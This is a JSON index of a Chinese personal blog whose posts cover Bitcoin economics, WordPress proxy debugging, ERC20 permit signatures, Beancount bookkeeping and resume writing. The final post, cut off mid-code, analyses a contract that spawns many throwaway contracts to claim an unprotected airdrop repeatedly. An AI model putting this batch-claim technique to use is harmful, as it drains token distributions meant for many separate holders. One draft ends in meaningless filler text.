MPT来用来保存状态\nMerklePatriciaTree\n也就是有压缩的\n挖矿难度\n比特币脚本\n分叉\n","date":"2022-05-14T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/xxx/","tags":["blockchain"],"title":"《区块链技术与应用》公开课笔记"},{"categories":["blockchain"],"contents":"前 听到了一个相当新颖的观点，比特币系统是不可持续的。\n“做空”比特币 矿工过低的Fee收入 曾经的btc被微软等公司支持支付，那是最好的时代。\n这里是最主要的问题，因为BTC 的区块大小太小了，一秒钟只能有7笔交易。\nTX的低直接导致的就是影响链上转账的过程。目前的爆块的收益水平是下面的情况。\nBlock Reward 6.25000000 BTC\nBTC Fee Reward 0.23313970 BTC\n随着一次又一次的减半，区块奖励越来越少，交易费用受txs的影响没有太大提升，挖矿可能逐步变得无利可图。\n因为挖出的增量市值 单价*爆块数量 和 本身的存量市值 单价*存量BTC数量 的比值将会变得非常的小。那么从矿工的角度来说，就是获得非常小的比例的奖励，来保护一个市值的系统。那么整个矿工的算力水平会随着收益的减小而逐步减小，也就是说维护网络安全的成本逐渐减小。那么进行51%攻击的成本在下降，收益在增加（btc 的存量市值）。安全事件迟早会发生\n爆块时间导致的矿池偏袒 ETH 矿池很多五花八门，但是BTC很少，为什么呢\nBTC的爆块时间在10分钟，而ETH的时间在15秒。这样就拓展出一个问题，虽然参与挖矿的游戏，每个人挖到块的概率是一定的。但是由于BTC的10分钟的区块时间导致每天只会出块144块，而eth有5760个块，一样掷硬币的游戏，掷的速度慢，意味着我们得到的结果的方差会非常非常的大。而矿工本身的加入矿池的信条就是：稳定\n所以在这种情况下，大算力的矿池，在144次中或者多数，方差低，每天可以获得近似稳定的收入。\n而小矿池，只能获取144次中的少数，方差大，收入波动厉害。如果连续几天不出块，那么可以直接饿死了。\n所以在10分钟的出块机制下，对大矿池的存在是有偏袒的。而小矿池的加入会变得非常困难。\n因此降低了去中心化的程度。\n商品市场的缺失 BTC 没有商品市场，不能老靠着信仰走一辈子\n市场上存在两批人，消费者和投资者。就按腾讯这个公司来讲，股票是他的投资者市场，而他的游戏，娱乐等等，为他带来了消费者市场，也就是商品市场。这样才会引领腾讯这家公司走向成功。\n使用ETH的生态举例，上面有 NFT 和 GameFi ，这些都是商品生态的一部分，也就是说从一个无聊的链上符号变成了一个对外售卖的东西。而反观BTC 是没有商品市场的，本身机制对日常消费等等场景非常不友好。除了链上的无聊符号，没有能获取消费者市场的能力。\n综上，也就是说，目前BTC是一个只有投资者，没有消费者的东西。一个单单靠信仰支撑的东西\n我的看法 首先，上面描述的观点，是我听到的很独特的，且的确引发了我从另一些层面的思考。我的看法主要是从BTC的价值储蓄出发。类比国库中的黄金一样，是一种价值的存储。（虽然，的确失去了黄金的商品市场，首饰）。\n全球的黄金（資源）分布也是不均匀的，有限的，石油等等这些的产量也是受制于OPEC组织，所以矿池的集中化和这点对等\n矿工的收入，实际上最根本来讲是取决于能源的消耗，节能是发展路上的一个礼貌但是缺无知的问题。能源的成本在人类文明的进化中，势必越来越低。由此，矿工的收入与网络的算力平衡有了平衡的等式\n商品市场，是成功的地方，危险的地方。我对ETH的看法，就像我们的网络，有用不贵。想象在40年前上网的成本，以及现在的网络成本的对比，随着基础设施的发展，网络的费用会越来越低。eth 也许会随着这种设施的进步，成本也越发低。所以在 eth的生态上，使用 ETH 来作为价值的锚定并不合理：本身的Defi/商品 的价值，会随着寄托他们的基础网络而变化。\n所以我想以后可能会是 BTC 价值为锚，在eth 网络上快速奔跑。WBTC 类似的形式来存在。\n","date":"2022-05-12T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/05/%E5%81%9A%E7%A9%BA%E6%AF%94%E7%89%B9%E5%B8%81/","tags":["btc","随笔"],"title":"”做空“比特币"},{"categories":["op之路"],"contents":"前 终于正式的把blog给搬上K8s，去深度体验了一下大家口口相传的先进技术。不得不说的确先进，监控以及istio 简直方便到惊掉下巴。\n当然这篇只是一个debug 的文章，记录自己在解决问题的时候的思路和具体步骤。\n正文 迁移到新环境之后，出现了熟悉的 wp-admin 的重定向问题。一直进行循环重定向。\n经验告诉我是 Siturl 配置又问题，所以就进行进行修正。\nK3S 的local-path 挂载点在 /var/lib/rancher/k3s/storage/xxxx 所以配置的修改还是比较方便的。\n在配置里面加上这部分配置，就相当于灵活的使用 https的 schema。\ndefine(\u0026#39;FORCE_SSL_ADMIN\u0026#39;, true); // If we\u0026#39;re behind a proxy server and using HTTPS, we need to alert WordPress of that fact // see also https://wordpress.org/support/article/administration-over-ssl/#using-a-reverse-proxy if (isset($_SERVER[\u0026#39;HTTP_X_FORWARDED_PROTO\u0026#39;]) \u0026amp;\u0026amp; strpos($_SERVER[\u0026#39;HTTP_X_FORWARDED_PROTO\u0026#39;], \u0026#39;https\u0026#39;) !== false) { $_SERVER[\u0026#39;HTTPS\u0026#39;] = \u0026#39;on\u0026#39;; } define( \u0026#39;WP_HOME\u0026#39;, \u0026#39;http://\u0026#39; . $_SERVER[\u0026#39;HTTP_HOST\u0026#39;] . \u0026#39;/\u0026#39; ); define( \u0026#39;WP_SITEURL\u0026#39;, \u0026#39;http://\u0026#39; . $_SERVER[\u0026#39;HTTP_HOST\u0026#39;] . \u0026#39;/\u0026#39; ); 随后就发生了循环重定向的问题，检查之前的配置。发现应该是这个 HTTP_X_FORWARDED_PROTO 标头没有打进来。因为前面的边缘路由是 Traefik，所以参考之前的配置在Helm里面加上\nadditionalArguments: - \u0026#39;--entryPoints.web.forwardedHeaders.trustedIPs=192.168.0.0/24\u0026#39; 发现还是发生循环重定向，所以这里就继续定位。发现一个 http的定位好工具\nvar_dump($_SERVER); 把server的值都打印出来，看到里面有 [\u0026quot;HTTP_X_REAL_IP\u0026quot;]=\u0026gt; string(9) \u0026quot;127.0.0.6\u0026quot; 这么一段，意识到问题，因为之前在swarm 上部署的时候是使用 的host模式，流量直接通过网卡进CNI网网络。但是在k8s的模式下。前面是经过了一级别的转发的。所以在这里的trust 应该再加一个\nadditionalArguments: - \u0026#39;--entryPoints.web.forwardedHeaders.trustedIPs=192.168.0.0/24,127.0.0.6\u0026#39; 这样就能拿到正确的xff的Header了\n这样就不会出现 mixed content 导致的页面加载错误，完美结局\n","date":"2022-05-12T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/06/wordpress-https-%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86%E9%97%AE%E9%A2%98/","tags":["kubernetes","wordpress"],"title":"Wordpress Https 反向代理问题"},{"categories":["misc"],"contents":"复盘一下今年的上半年的投资历程，做一个阶段性的总结。一些很明显的问题和失误也在这里进行反思。\n散户在牛市不一定赚得到钱，却渴望在大波动的熊市赚到钱，这是折腾自己\n投资$Coin Coinbase 算得上是信仰中的股票，但是却是自己亏损最严重的个股。\n反思以下几个错误的观点\n已经跌了50%了，剩下没多少，算了不管了，结果亏的更多 对冲买套子的价钱好贵，一张ATM put 需要 800U 不买了，结果亏的更多 我看好这支股票x年之后，还有资金慢慢跌慢慢加仓，结果亏的更多 盈利达到预期但是我觉得还能涨，赚最后一个铜板，结果赚的更少 避免短期焦虑导致更频繁的加仓 避免在牛市的顶峰时期来投入一个需要长期才能获利的项目。 什么时候卖出股票\n[短期投资] 对于投机类股票，可以不设置止盈点，但是必须设置止损点（铁律）。止损点设置在 8%～15%。 [长期投资] 股票卖出与价格无关，卖出原因： 因为买入逻辑没有了。 需要资金买入更好的股票。 股票涨得太快，卖出为了降低风险，分散化投资。 ","date":"2022-05-11T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/05/%E4%B8%AA%E4%BA%BA%E7%89%88%E6%8A%95%E8%B5%84%E9%87%91%E5%BE%8B/","tags":["理财"],"title":"个人版“投资金律“"},{"categories":["blockchain"],"contents":"前 之前学习的时候遇到了 permit 这个ERC20 方法，可以实现无gas 转账和离线交易。\n听起来很神奇，但是实际上的原理并不复杂，在这里来进行一个总结\n正文 什么是 Permit permit 在 EIP-2612 中被引入到 ERC20 的协议中。子标题是 signed approvals ，另外从字面意思上看permit 在文字含义上是许可的意思，也正是与经典的erc20 协议里面 allowance 有关。\n其功能从简单来讲，就是A在需要给B进行授权的时候，不需要主动的去调用 approval函数来给B进行授权。而是给这个approval 函数一个合法的签名，得到的签名提供给B，B用这个签名来调用 permit来获得对应额度的 allowance，从而可以对指定金额来进行消费或者转账。\n这里用伪代码的approve函数以及 permit 函数进行对比，可见其核心的功能就是set一个对应的allowance\nfunction approve(address usr, uint wad) external returns (bool) { allowance[msg.sender][usr] = wad; … } function permit( address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s ) external { … allowance[holder][spender] = wad; … } permit应用场景 前面讲到permit，使用对approval的调用来进行签名，给到收款方来获得一个预先设置的 allowance的额度。\n那么由此过程我们可以衍生出下面的用途\n离线支付\n场景是A在离线的情况下用钱包签名 approval的方法，在签名的时候，带有 token/数量/收款人/deadline。签名之后把签出的内容给到B（可公开），B在有网络的情况下使用 permit的方法获取对应额度完成转账操作。\n但是值得注意的是：这里的转账过程不是可靠的，因为你拿到的只是对应的 allowence 的额度，实际上需要B进行permit 获得 allowance之后，再进行transferFrom 才可以得到对应的数量token。如果A在B执行这个权利之前把账号资产转走，那么B只是得到这个授权额度但是无法获得任何资产。这里可以类比于开出了一张空头支票。\n无gas转账\n不过需要提前明确的是，这里的无gas 不是指的没有gas 消耗，而是A方不需要为授权和转账来付出gas。一般的ERC20 的转账形式是，调用方调用 approval 和 transfer 来进行转账。在使用了 permit 的情况下，A 可以签名 Approval 函数，之后发送给B，b在获得签名之后去调用 Permit 来获得 allowance 使用 transferFrom 来进行转账。全部过程中不需要A支付任何GAS\n实现原理 合约验签逻辑 在实现这里，直接找到 EIP-2612的commit 这里实现了 permit 函数\n这里把参数分开\naddress owner // A地址 address spender // B地址 uint256 amount // 总额度 uint256 deadline // 过期时间 uint8 v, bytes32 r, bytes32 s // secp256k1（ECDSA） 的恢复ID 以及 RS 的签名输出。 What does v, r, s in eth_getTransactionByHash mean?\n签名与校验\nSolidity 中的 ecrecover 是什么？\nfunction permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { // solhint-disable-next-line not-rely-on-time require(block.timestamp \u0026lt;= deadline, \u0026#34;ERC20Permit: expired deadline\u0026#34;); // 对全部提供的内容按格式进行打包之后进行hash bytes32 structHash = keccak256( abi.encode( // 这里限制了签名的类型，避免任意签名。 _PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline ) ); // 这里进行hash结构的转化 bytes32 hash = _hashTypedDataV4(structHash); // 恢复对原始的签名数据来进行验签，看此内容验签之后的 signer 是不是传入数据的 owner address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, \u0026#34;ERC20Permit: invalid signature\u0026#34;); // 如果是 _nonces[owner].increment(); // 给permit调用者对应的授权额度 _approve(owner, spender, amount); } 客户端签名逻辑 参考链接： Permit-712签名\n这里有两个点\nDOMAIN_SEPARATOR // 定义域分隔符 _PERMIT_TYPEHASH // Permit 的参数格式的hash _PERMIT_TYPEHASH 定义见下：\nbytes32 private immutable _PERMIT_TYPEHASH = keccak256(\u0026#34;Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\u0026#34;); 在客户端中使用，下面代码来获取合约的PERMIT_TYPEHASH 和 DOMAIN_SEPARATOR\nconst contract = new ClientContract(abi, \u0026#39;0x6b175474e89094c44da98b954eedeac495271d0f\u0026#39;, 1) const calls = [ contract.PERMIT_TYPEHASH(), contract.DOMAIN_SEPARATOR(), ] const [PERMIT_TYPEHASH, DOMAIN_SEPARATOR] = await multicallClient(calls) //DOMAIN_SEPARATOR: 0xdbb8cf42e1ecb028be3f3dbc922e1d878b963f411dc388ced501601c60f7c6f7 //PERMIT_TYPEHASH: 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb 之后构造签名合约里用到的structureHash\nconst digestHash = web3.utils.keccak256(web3.eth.abi.encodeParameters([\u0026#39;bytes32\u0026#39;, \u0026#39;address\u0026#39;, \u0026#39;address\u0026#39;, \u0026#39;uint256\u0026#39;, \u0026#39;uint256\u0026#39;, \u0026#39;uint256\u0026#39;], [ PERMIT_TYPEHASH, holder,//你的地址 spender,//授权给目标地址 amount,//你要授权的数量 nonce,//你在DAI里面的nonce expiry,//授权到期时间 ] )) 对这个结构进行签名，之后发送给B，就完成了这个 permit 的签发。\nconst signatureHash = await web3.eth.sign(digest, account); 后 对Permit 原理上有大概的理解，些许有些复杂，不过好在应用上 openzeppelin 做了很大程度的封装。\n在调用前端有 EIP712 的helper 直接引用即可，合约部分默认的 ERC20的合约已经包含了Permit 的方法。\n研究底层的实现还算有趣。\n","date":"2022-05-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/11/erc20%E7%9A%84permit/","tags":["eth","solidity","smartcontract"],"title":"ERC20的Permit"},{"categories":["category1"],"contents":"beancount 四、卖出记录与利润计算 下面是案例中的卖出记录。\n2020-02-28 * \u0026#34;港股交易\u0026#34; \u0026#34;减仓阅文集团1000股，筹集资金做恒指期货\u0026#34; Assets:Broker:FutuHK:Positions -600.00 HK_00772 {} @ 36.40 HKD Assets:Broker:FutuHK:Cash 36400.00 HKD Assets:Broker:FutuHK:Cash -95.30 HKD ;手续费 Expenses:Broker:FutuHK 95.30 HKD ;手续费 Income:Broker:FutuHK ;利润（负为盈利，正为亏损） 首先，看看持仓账户：\nAssets:Broker:FutuHK:Positions -1000.00 HK_00772 {} @ 36.40 HKD 1、@后表示卖出价。 2、{} 中应该给出卖出股票对应的成本价，但因为我们已经约定按 FIFO 规则计算成本，所以可以省略。\n现金账户 Assets:Broker:FutuHK:Cash 实际入账多少，记录多少。 利润账户 Income:Broker:FutuHK 直接空着，beancount 会自动计算利润。\n看到这里，beancount 记录股票的基本方法讲完了。\n不过，为了更好的理解 beancount 的工作原理及 FIFO 规则，我们把 {} 内容补全看看。如下：\n2020-02-28 * \u0026#34;港股交易\u0026#34; \u0026#34;减仓阅文集团1000股，筹集资金做恒指期货\u0026#34; Assets:Broker:FutuHK:Positions -600.00 HK_00772 {30.10 HKD} @ 36.40 HKD Assets:Broker:FutuHK:Positions -400.00 HK_00772 {38.00 HKD} @ 36.40 HKD Assets:Broker:FutuHK:Cash 36400.00 HKD Assets:Broker:FutuHK:Cash -95.30 HKD ;手续费 Expenses:Broker:FutuHK 95.30 HKD ;手续费 Income:Broker:FutuHK ;利润（负为盈利，正为亏损） 补全后，因为成本不同，减持变为两条记录，这很好的体现了 FIFO 规则。\n1、我分两笔共买入 1600 股，先是 30.10 买入的 600 股，后以 38 买入 1000 股。 2、那么卖出 1000 股时，按 FIFO 规则，卖出的 1000 股构成如下： （1）600 股 30.10 的成本（先买入的，先卖出） （2）400 股 38.00 的成本\nbeancount 自动计算的利润就是：\n; 总收入减去两笔总成本 利润 = 36400 - 600 * 30.10 - 400 * 38.00 = 3140 fava资产负债表把资产列在左边，负债和权益列在右边。权益即净资产，是根据资产和负债计算出来的（除了Equity:Opening-Balances，之后会讲到）。\n需要注意的是Beancount的债务和权益是负数，所以并不是资产 = 负债 + 权益，而是资产 + 负债 + 权益 = 0。我之前提过一次，这是Beancount使用正数来表示借记（Debit），负数表示贷记（Credit）的结果。在传统的复式记账中，数字的正负号并没有这样的意义，无论是借记还是贷记都是正数，所以绝对值资产 = abs(负债 + 权益)也许更好理解。\n在资产负债表上点击任意账户，可以进入账户的明细界面。账户的明细界面列出了涉及该账户的每一笔交易，点开后可以看到具体的交易信息。每一行的最右侧是这一笔交易后的该账户结余，这个数字就是对账的关键。\n七、beancount 数据结构总结 讲到这，可以对 beancount 数据结构做个总结，便于理解 beancount 的原理。\nbeancount 一条完整数据格式如下：\n账户名 数量 商品 成本价 最新价/总价 account Assets:Broker:FutuHK:Positions -1000.00 HK_00772 {30.10 HKD} @ 36.40 HKD Assets:Broker:FutuHK:Positions -1000.00 HK_00772 {30.10 HKD} @@ 36400 HKD （一个 @记录单价，两个 @@记录总价）\n参考 https://www.skyue.com/19101819.html\nbeancount 股票实践教程\n","date":"2022-05-03T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/new_post_2/","tags":["tag1"],"title":"title"},{"categories":["category1"],"contents":"前 引用再改编著名小品的一句话：\n我不想知道钱是怎么来的，我想知道钱是怎么没的\n每个月貌似拿着不错的收入，但是一年回头看好像没剩多少在手上。心中总是想着 ”我钱呢？“\n累积性的小额消费总会被人忽略，着也就是信用卡的“骗局”所在\n所以今天要向大家介绍一款管理家庭财务的神器——BeanCount。\n作为一款简单易用的记账软件，BeanCount能够帮助我们轻松管理家庭财务，让我们更加轻松地管理自己的家庭公司。\n文章主要包含 beancount 的安装，基础使用，以及进阶教程（买股票，理财，不动产的记录等等）。\n这里先简单的补充一下记账的基础\n普通记账 vs 复式记账 Beancount 使用的记账方法叫复式记账。4 月 23 日，吃饭花费 30 元，使用银行卡支付。\n如果我们使用一般的记账软件得到的是下面的结果\n2023-04-23: 生活-吃饭 -30元 这种几张方式智能称之为流水账，因为他只能计算你的钱怎么没的，而不能记录钱怎么来的\n所以这里介绍复式记账的方法：\n2023-04-23: 生活-吃饭 -30元 银行卡 30元 复式记账会记录每笔交易的资金流动，各账户变化「有正有负，正负相等」。这便是复式记账的基本原理，称之为「会计恒等式」。这种方式能够保证记账准确无误，也能提供更详细的财务分析。\n安装以及环境配置 软件安装 这里是用的是 python3 环境，如果你有IT经验的话那你一定懂。不懂的话 没关系命令一个个的来。下面都是在终端中执行\n# 创建虚拟环境 python3 -v venv ./vnev # 启用虚拟环境 source venv/bin/activate 上面创建了虚拟环境，和主机环境独立。之后就安装软件本体\npip install beancount pip install fava 示例账本 为了先体验一下软件的效果我们可以创建一个 main.bean，内容如下\n;【一、账本信息】 option \u0026#34;title\u0026#34; \u0026#34;我的账本\u0026#34; ;账本名称 option \u0026#34;operating_currency\u0026#34; \u0026#34;CNY\u0026#34; ;账本主货币 ;【二、账户设置】 ;1、开设账户 1990-01-01 open Assets:Card:1234 CNY, USD ;尾号1234的银行卡，支持CNY和USD 1990-01-01 open Liabilities:CreditCard:5678 CNY, USD ;双币信用卡 1990-01-01 open Income:Salary CNY ;工资收入 1990-01-01 open Expenses:Tax CNY ;交税 1990-01-01 open Expenses:Traffic:Taxi CNY ;打车消费，只支持CNY 1990-01-01 open Equity:OpenBalance ;用于账户初始化，支持任意货币 ;2、账户初始化 2019-08-27 * \u0026#34;\u0026#34; \u0026#34;银行卡，初始余额10000元\u0026#34; Assets:Card:1234 10000.00 CNY Equity:OpenBalance -10000.00 CNY ;【三、交易记录】 2019-08-28 * \u0026#34;杭州出租车公司\u0026#34; \u0026#34;打车到公司，银行卡支付\u0026#34; Expenses:Traffic:Taxi 200.00 CNY Assets:Card:1234 -200.00 CNY 2019-08-29 * \u0026#34;\u0026#34; \u0026#34;餐饮\u0026#34; Assets:Card:1234 -1100.00 CNY Liabilities:CreditCard:5678 1100.00 CNY 2019-08-31 * \u0026#34;XX公司\u0026#34; \u0026#34;工资收入\u0026#34; Assets:Card:1234 12000.00 CNY Expenses:Tax 1000.00 CNY Income:Salary 运行服务 终端直接执行命令，就可以跑起来 fava 的服务。\n$ fava main.bean Running Fava on http://localhost:5000 其他还不错的参考文章或工具资源 使用 Beancount 记录证券投资\n把自己当做一家公司：使用beancount记账\nBeancount —— 命令行复式簿记| wzyboy’s blog\n使用Beancount记录证券投资| wzyboy’s blog\nBeancount · Blind with Science\nBeancount复式记账\n基于Telegram的Beancount记账\nBeancount云记账\nacp,pppppppppacs cascascascas http://pdf.dfcfw.com/pdf/H3_AP201812271279983589_1.pdf\naascasc ","date":"2022-05-03T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/%E7%AE%A1%E7%90%86%E8%87%AA%E5%B7%B1%E7%9A%84%E5%AE%B6%E5%BA%AD%E5%85%AC%E5%8F%B8--%E8%AE%B0%E8%B4%A6%E7%A5%9E%E5%99%A8beancount/","tags":["tag1"],"title":"管理自己的家庭公司--记账神器BeanCount"},{"categories":["category1"],"contents":"简历篇 总结了一下制作英文简历的步骤和技巧，附上了常用词汇和模版。 Get A Foot in the Door! 远程求职第一关：英文简历 一份英文简历的基本结构，我们可以将其拆分为 3 个部分：个人资料、教育背景、工作经历。\n个人资料： 与中文简历不同的是，个人资料这一部分最重要的是提供雇主可以联系你的各种方式。\n像其他政治面貌、出生年月和照片等则属于隐私，并不需要放在简历里。\n因此在这一部分中，需要保证所提供的邮箱以及手机号码能够联系上本人即可。此外，有一些企业更倾向使用 Linkedin ，因此候选人也可以补充自己的 Linkedin 账号。 名字正常拼音拼写即可，另外有需要的话也可以括号补充一个英文名字，方便日后沟通； 邮编地址要符合国外人阅读习惯，写法是从小到大 - 意思是先从居住街道到居住城市再到居住国家； 邮编号也是需要提供的，通常放在邮编地址后面，符合国外通用阅读习惯； 联系方式需要加上本国的区号，例如中国的是+86 ，北美的是+1 ； 联系邮箱建议使用 outlook 或 gmail ，这是国外通用的邮箱联系方式； 简历使用 Helvetica 字体即可，因为这是可以免费商用的。根据 Bloomberg 所做的调查，Helvetica 是用在英文履历上最正式最有好感的字体。 简历保持一页即可，不管你认为你的简历有多少重要的事情，都必须要一页纸完成整份 resume 。 制作完简历请导出为 pdf 格式，因为这更容易被 HR 信息系统接收和进行筛选。 教育背景： 对于国外远程求职而言，教育背景主要提供给雇主一个清晰认知即可：你在哪毕业 + 你在学校中获得什么核心技能，这两者是如何体现你在该远程岗位中的优势即可。与在国内求职不同，相关的专业课程或者 GPA 并不是太高的话，可以不用展示。\n需要着重清晰阐述的信息是：\n学校名称：如果同学是国内毕业学校，一定需要找到正确翻译名称。 所获文凭的类型和级别：这一块主要就是根据教育机构给你颁发的文凭种类。具体的文凭种类根据学校颁发的毕业证进行填写，因为企业会对你进行背景调查，因此需要与毕业证书上的信息一致。 在校期间相关的核心经历：如果与目前求职方向不太一致，则不太需要填写；但如果有不错的交换生经历，及参加比赛等经历，可以考虑增添。 工作经历： 职业经历是整个简历中最重要的部分，尤其作为一名远程求职者，招聘官真正想看到的是你本人是否能够胜任这份远程工作。\n首先第一步，作为候选人一定一定要仔细研读岗位 JD(Job Description)。\n跨境远程工作岗位同步沟通的时间较少（由于时差等各种原因），这就意味着，需要要求应聘者对岗位工作内容足够熟悉，可以在接到任务的第一时间明确工作内容和方向（因为你不一定能找得到同事询问），所以企业在筛选简历的时候，对经验匹配度要求相对较高。\n在熟悉 JD 后，挑选 3 个相对应的项目进行展示，并且在选择项目时，优先考虑具备远程合作属性的项目。\n在展示过往职场经验时，可以参考以下公式来撰写：参与了什么远程项目 -负责的方向-与组员沟通情况-遇到的问题-落地后成果-反馈评价收益。\n例如你是一位产品经理 PM ，那么你负责的项目是产出需求文档并跟进项目流程验收，那么你可以根据公示进行拆解：\nVME50KFC Remote Project （ xxx 远程项目 - Product Manager （负责的角色） - Established an xxx system for xxx pain points, resolve xxx problems with partner （与组员共同完成 xx 功能点设计，我负责的 xxx 部分，中途遇到 xxx 问题，通过 xxx 手段合作解决完成）- Successfully developed xxx and increased users reach by 150%（上线后的用户留存率对比)-Review xxx （复盘哪些部分由于共同合作获得收益）\n这样写的好处在于招聘官可以有效地、直接地看到你在团队中所具备的价值，公司不需要重新培养你适应远程岗位，可以快速上手胜任工作有效论据。\n从侧面也可以看出，你不是只会一味地埋头苦干，而是会经常反思复盘总结，已经形成一套成熟的工作习惯。具体的可量化的工作结果作为佐证，招聘官也会觉得你的工作经历比较真实。\n注意事项：\n在项目背景介绍中，避免使用“I”；因为正规简历中如同国外论文，需要客观严谨态度，而“I”则带有主观意识； 简历叙写过程尽量使用分段点(bullet point)以突出重点，避免了长篇大论描述。 在描述数据时，避免使用 many, a lot of, some, several 等模糊的词汇，应尽量使用具体的数字。 技能与个人兴趣： 这一板块是扮演一个锦上添花的作用。总而言之，是从职业技能 Job Technical Skills + 个人沟通能力证明(Language Skills)+ 个人爱好(Personal Interest)组成。\n职业技能 Job Technical Skills 是根据你所在的岗位 JD 进行一定的排查，例如要求会 Python 、Java 亦或 Figma 等专业软件能力，可以补充其他有用的相关技能。\n个人沟通能力证明 Language Skills 指的是所在国家通用语言，而这是必须的，为以后跨境工作降低沟通成本。\n个人爱好 Personal Interest 指的是无伤大雅的爱好，一两个即可。\n在学习了通用模版教学后，我们来到了进阶版教学 - 突出你在远程工作中所具备的可转移技能！ 如果说，项目经验展现了你的专业能力足以胜任岗位工作内容。但对于接受远程文化的企业，远程工作技能是必须的，他们更为看重项目经验背后候选人所展示出的隐藏信息。\n远程岗位的特殊性也造就简历呈现出的形象需要随之改变。\n因此在简历核心部分，除了展现于岗位 JD 匹配的项目经验，还可以针对远程工作技能去突出自己的优势。\n远程工具使用情况和异步沟通能力： 作为远程工作者，公司团队缺少实体工作空间所能带来的沟通条件，因此招聘官除却本人能力以外，希望看到候选人使用过类似的线上沟通工具。\n例如，海外公司比较常见的沟通工具有：Zoom 、Slack 和 G Chat ；常见的远程协作软件有：Jira 、Asana 、Trello 和 Monday 。\n这些软件的使用熟练程度也侧面说明了候选人对远程工作流程的熟悉程度。\n是否有快速发现问题以及独立解决问题的能力： 首先是你的主动沟通能力以及自主管理能力。由于远程工作的特殊性，雇主也无法做到每天跟在你屁股后面催促干活。但隔着网线，又很希望能了解员工的工作进度。\n因此，作为一个聪明的求职者，需要在简历中体现你的项目管理能力，以及复盘后主动跟进落实迭代情况，并且要有清晰的日报 /周报汇报习惯，以方便招聘 HR 感受到候选人的强大自我管理意识以及良好的工作习惯，避免日后合作遇到问题没有办法第一时间完成！\n简历要突出与岗位的契合度 远程工作的种类繁多，有些项目也许只有 2 个月，有些公司却长达 2 年。并且不同的项目背后也有不一样的职场氛围。候选人除了了解岗位 JD ，更要评断这个公司是否可靠，和是否符合自己对未来发展的规划，毕竟选择是双向，it‘s about fit ！\n在完成简历初稿后并对照上面的注意事项进行检查，也可以找有相同海外职场经历的专业人士提供反馈意见。好的事物是通过不断打磨所锤炼出来，而且，也要做到在面试的过程中对简历描述的一切熟练阐述拓展，避免数据上有出入，或者语言表达不清晰，造成面试官的对候选人能力上的误解。\n国外职场与国内不同，如果候选人有合作过不错的上司同事，非常建议他们给你写一封 Recommend Letter 。请相信，这一封 Letter 的含金量是坚定未来你的公司选择你的重要加分项。\n如果遇上非常心仪的公司，又不想欠下人情债，也可以选择国外职场中流行的 Cover Letter ！ Cover letter 顾名思义就是一封附带信，跟着候选人的简历一起投递。就像是让你礼貌地跟你想要面试的公司说声 hi ，表明一下自己跟公司发展利益很匹配，然后工作技能满分，最重要还会远程沟通事事有回应，谁看了都会心动的！\n参考 Get A Foot in the Door! 远程求职第一关：英文简历\nBrix 英文简历词汇汇总\u0026amp;英文简历模版\n","date":"2022-05-03T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/%E5%87%86%E5%A4%87%E6%B5%B7%E5%A4%96%E9%9D%A2%E8%AF%95/","tags":["tag1"],"title":"准备自己的海外面试"},{"categories":["blockchain"],"contents":"前 囤了很久的一个任务，来做一个简单的代码解析。 一个用于合约批量Claim 的操作。\n比如之前的$rnd，就可以使用这套代码来进行批量的Claim 的交互操作。\n代码仓库 POC 正文 代码思路 对代码思路来进行一个简单梳理。先定义一个ERC20 的 interface 用于来进行合约来进行交互。之后new claim 合约来进行对token的mint操作，在完成mint之后批量的转回sender。\n这里的前提是代码没有EOA(Externally Owned Accounts)机制也就是说没有，对合约账户CA还是外部账户EOA的检测。\n另外这里还需要说明的是，这种mint的Token是没有验证机制的，就是有claim接口之后就可以随便领取的。\n代码分析 栈 大体按照调用栈来逐步分析\ncall Addressto abi.encodePacked New claimer claim transfer Call 这里是这个合约的主调函数，函数体如下。这里主要是进行 循环并且自增nonce，计算出即将new 出来的合约的地址，用于后面的转账操作。之后吧nonce +1 之后进行接下来的操作。\nfunction call(uint256 times) public { for(uint i=0;i\u0026lt;times;++i){ address to = addressto(address(this), nonce); new claimer(to, address(msg.sender)); nonce+=1; } } addressto 这个是比较有意思的地方，在一个合约创建之前能否知道这个的地址？\n答案是可以的，这个也被用于一些LP添加前的预判，也就是说可能LP还没创建，你就可以拿到LP的地址，早早冲进去。\n这里的 addressto 就是这个算法的实现。\n合约地址生成 资料参考：以太坊合约地址是怎么计算出来的？\n以太坊合约的地址是根据创建者（sender）的地址以及创建者发送过的交易数量（nonce）来计算确定的。 sender和nonce 进行RLP编码，然后用Keccak-256 进行hash计算。\nnonce0 = address(keccak256(0xd6, 0x94, address, 0x80)) nonce1 = address(keccak256(0xd6, 0x94, address, 0x01)) 所以在这个合约里面可以看到也是按这个形式来进行了字节码的组装。这里来对组装过程进行分析。\n这里第一个点是 0x80 在nonce 为0 的时候是它，但是在 nonce 为1的情况下却变成了 0x01 在。\nencodePacked encodePacked 是solidity 中的紧打包的方式，用于构造原始的字节串。\n函数选择器 不进行编码， 长度低于 32 字节的类型，既不会进行补 0 操作，也不会进行符号扩展 动态类型会直接进行编码，并且不包含长度信息。 assembly 这里作者还是使用了内联汇编，但是的确没有搞懂其中的意思，通过doc看到的，这个是把变量保存到0offset的内存，之后读取出来。感觉和直接return 是一个意思。可以只是一种用法练习，这里先存疑。后面清楚了在进行补充\nassembly { mstore(0, hash) _address := mload(0) } New claimer 使用上面的函数计算得到这里Claimer 的合约地址，来传入这里的构造函数。用于这里对是否成功mint来做判断。避免后面的transfer的操作节约gas。\n这里直接调用Token合约的 Claim 函数，如果有余额之后来进行transfer转账。汇集到总的账户下，完成批量mint。\ncontract claimer{ constructor(address selfAdd, address receiver){ address contra = address(0xbb2A2D70d6a4B80FA2C4d4Ca43a8525da430196c); airdrop(contra).claim(); uint256 balance = airdrop(contra).balanceOf(selfAdd); 